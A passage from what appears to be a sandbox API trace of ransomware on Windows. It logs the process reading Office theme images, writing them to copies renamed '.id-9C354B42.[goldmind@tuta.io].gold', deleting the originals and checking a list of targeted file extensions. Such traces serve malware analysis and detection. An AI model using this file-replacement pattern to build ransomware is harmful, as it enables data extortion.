1 [0040.965] CloseHandle (hObject=0x200) returned 1 [0040.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 0x20 [0040.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0040.966] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0040.966] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.966] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.966] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0040.970] GetLastError () returned 0x0 [0040.970] ReadFile (in: hFile=0x200, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0xd97, lpOverlapped=0x0) returned 1 [0040.973] WriteFile (in: hFile=0x188, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xda0, lpOverlapped=0x0) returned 1 [0040.974] ReadFile (in: hFile=0x200, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.974] WriteFile (in: hFile=0x188, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xea, lpOverlapped=0x0) returned 1 [0040.974] SetEndOfFile (hFile=0x188) returned 1 [0040.974] CloseHandle (hObject=0x188) returned 1 [0040.975] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.975] SetEndOfFile (hFile=0x200) returned 1 [0040.976] CloseHandle (hObject=0x200) returned 1 [0040.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0040.976] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 1 [0040.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0040.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0040.976] lstrlenW (lpString=".doc") returned 4 [0040.976] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0040.976] lstrlenW (lpString=".docx") returned 5 [0040.976] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0040.976] lstrlenW (lpString=".pdf") returned 4 [0040.976] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0040.976] lstrlenW (lpString=".xls") returned 4 [0040.976] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0040.976] lstrlenW (lpString=".xlsx") returned 5 [0040.976] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0040.976] lstrlenW (lpString=".ppt") returned 4 [0040.976] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0040.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0040.976] lstrlenW (lpString=".zip") returned 4 [0040.976] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0040.976] lstrlenW (lpString=".rar") returned 4 [0040.976] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0040.976] lstrlenW (lpString=".bz2") returned 4 [0040.976] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0040.976] lstrlenW (lpString=".7z") returned 3 [0040.976] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0040.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0040.976] lstrlenW (lpString=".dbf") returned 4 [0040.977] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0040.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0040.977] lstrlenW (lpString=".1cd") returned 4 [0040.977] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0040.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0040.977] lstrlenW (lpString=".jpg") returned 4 [0040.977] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0040.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0040.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0040.977] lstrlenW (lpString=".doc") returned 4 [0040.977] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0040.977] lstrlenW (lpString=".docx") returned 5 [0040.977] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0040.977] lstrlenW (lpString=".pdf") returned 4 [0040.977] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0040.977] lstrlenW (lpString=".xls") returned 4 [0040.977] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0040.977] lstrlenW (lpString=".xlsx") returned 5 [0040.977] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0040.977] lstrlenW (lpString=".ppt") returned 4 [0040.977] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0040.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0040.977] lstrlenW (lpString=".zip") returned 4 [0040.977] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0040.977] lstrlenW (lpString=".rar") returned 4 [0040.977] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0040.977] lstrlenW (lpString=".bz2") returned 4 [0040.977] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0040.977] lstrlenW (lpString=".7z") returned 3 [0040.977] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0040.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0040.977] lstrlenW (lpString=".dbf") returned 4 [0040.977] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0040.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0040.977] lstrlenW (lpString=".1cd") returned 4 [0040.977] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0040.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0040.977] lstrlenW (lpString=".jpg") returned 4 [0040.977] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0040.977] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0040.977] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0040.977] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0040.978] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=31837) returned 1 [0040.978] CloseHandle (hObject=0x200) returned 1 [0040.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 0x20 [0040.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0040.978] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0040.978] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.978] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.978] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0040.978] GetLastError () returned 0x0 [0040.978] ReadFile (in: hFile=0x200, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x7c5d, lpOverlapped=0x0) returned 1 [0040.988] WriteFile (in: hFile=0x188, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x7c60, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x7c60, lpOverlapped=0x0) returned 1 [0040.989] ReadFile (in: hFile=0x200, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.989] WriteFile (in: hFile=0x188, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0040.990] SetEndOfFile (hFile=0x188) returned 1 [0040.990] CloseHandle (hObject=0x188) returned 1 [0040.993] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.993] SetEndOfFile (hFile=0x200) returned 1 [0040.994] CloseHandle (hObject=0x200) returned 1 [0040.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0040.994] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 1 [0040.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0040.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0040.994] lstrlenW (lpString=".doc") returned 4 [0040.994] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0040.994] lstrlenW (lpString=".docx") returned 5 [0040.994] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0040.994] lstrlenW (lpString=".pdf") returned 4 [0040.994] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0040.994] lstrlenW (lpString=".xls") returned 4 [0040.994] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0040.994] lstrlenW (lpString=".xlsx") returned 5 [0040.994] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0040.994] lstrlenW (lpString=".ppt") returned 4 [0040.994] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0040.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0040.994] lstrlenW (lpString=".zip") returned 4 [0040.994] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0040.994] lstrlenW (lpString=".rar") returned 4 [0040.994] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0040.994] lstrlenW (lpString=".bz2") returned 4 [0040.994] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0040.994] lstrlenW (lpString=".7z") returned 3 [0040.994] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0040.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0040.995] lstrlenW (lpString=".dbf") returned 4 [0040.995] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0040.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0040.995] lstrlenW (lpString=".1cd") returned 4 [0040.995] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0040.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0040.995] lstrlenW (lpString=".jpg") returned 4 [0040.995] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0040.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0040.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0040.995] lstrlenW (lpString=".doc") returned 4 [0040.995] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0040.995] lstrlenW (lpString=".docx") returned 5 [0040.995] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0040.995] lstrlenW (lpString=".pdf") returned 4 [0040.995] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0040.995] lstrlenW (lpString=".xls") returned 4 [0040.995] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0040.995] lstrlenW (lpString=".xlsx") returned 5 [0040.995] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0040.995] lstrlenW (lpString=".ppt") returned 4 [0040.995] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0040.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0040.995] lstrlenW (lpString=".zip") returned 4 [0040.995] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0040.995] lstrlenW (lpString=".rar") returned 4 [0040.995] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0040.995] lstrlenW (lpString=".bz2") returned 4 [0040.995] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0040.995] lstrlenW (lpString=".7z") returned 3 [0040.995] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0040.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0040.995] lstrlenW (lpString=".dbf") returned 4 [0040.995] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0040.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0040.995] lstrlenW (lpString=".1cd") returned 4 [0040.995] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0040.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0040.995] lstrlenW (lpString=".jpg") returned 4 [0040.995] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0040.995] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0040.995] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0040.995] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0041.197] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=43276) returned 1 [0041.197] CloseHandle (hObject=0x1f4) returned 1 [0041.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 0x20 [0041.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.198] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0041.198] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.198] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.198] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0041.198] GetLastError () returned 0x0 [0041.198] ReadFile (in: hFile=0x1f4, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0xa90c, lpOverlapped=0x0) returned 1 [0041.288] WriteFile (in: hFile=0x178, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xa910, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xa910, lpOverlapped=0x0) returned 1 [0041.289] ReadFile (in: hFile=0x1f4, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.289] WriteFile (in: hFile=0x178, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0041.290] SetEndOfFile (hFile=0x178) returned 1 [0041.290] CloseHandle (hObject=0x178) returned 1 [0041.290] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.290] SetEndOfFile (hFile=0x1f4) returned 1 [0041.291] CloseHandle (hObject=0x1f4) returned 1 [0041.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0041.291] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 1 [0041.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0041.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0041.291] lstrlenW (lpString=".doc") returned 4 [0041.291] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0041.291] lstrlenW (lpString=".docx") returned 5 [0041.291] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0041.291] lstrlenW (lpString=".pdf") returned 4 [0041.291] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0041.291] lstrlenW (lpString=".xls") returned 4 [0041.291] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0041.291] lstrlenW (lpString=".xlsx") returned 5 [0041.291] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0041.291] lstrlenW (lpString=".ppt") returned 4 [0041.291] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0041.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0041.291] lstrlenW (lpString=".zip") returned 4 [0041.291] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0041.291] lstrlenW (lpString=".rar") returned 4 [0041.291] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0041.291] lstrlenW (lpString=".bz2") returned 4 [0041.291] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0041.291] lstrlenW (lpString=".7z") returned 3 [0041.292] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0041.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0041.292] lstrlenW (lpString=".dbf") returned 4 [0041.292] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0041.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0041.292] lstrlenW (lpString=".1cd") returned 4 [0041.292] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0041.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0041.292] lstrlenW (lpString=".jpg") returned 4 [0041.292] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0041.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0041.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0041.292] lstrlenW (lpString=".doc") returned 4 [0041.292] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0041.292] lstrlenW (lpString=".docx") returned 5 [0041.292] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0041.292] lstrlenW (lpString=".pdf") returned 4 [0041.292] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0041.292] lstrlenW (lpString=".xls") returned 4 [0041.292] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0041.292] lstrlenW (lpString=".xlsx") returned 5 [0041.292] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0041.292] lstrlenW (lpString=".ppt") returned 4 [0041.292] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0041.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0041.292] lstrlenW (lpString=".zip") returned 4 [0041.292] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0041.292] lstrlenW (lpString=".rar") returned 4 [0041.292] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0041.292] lstrlenW (lpString=".bz2") returned 4 [0041.292] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0041.292] lstrlenW (lpString=".7z") returned 3 [0041.292] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0041.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0041.292] lstrlenW (lpString=".dbf") returned 4 [0041.292] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0041.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0041.292] lstrlenW (lpString=".1cd") returned 4 [0041.292] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0041.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0041.292] lstrlenW (lpString=".jpg") returned 4 [0041.292] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0041.292] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0041.292] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0041.292] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 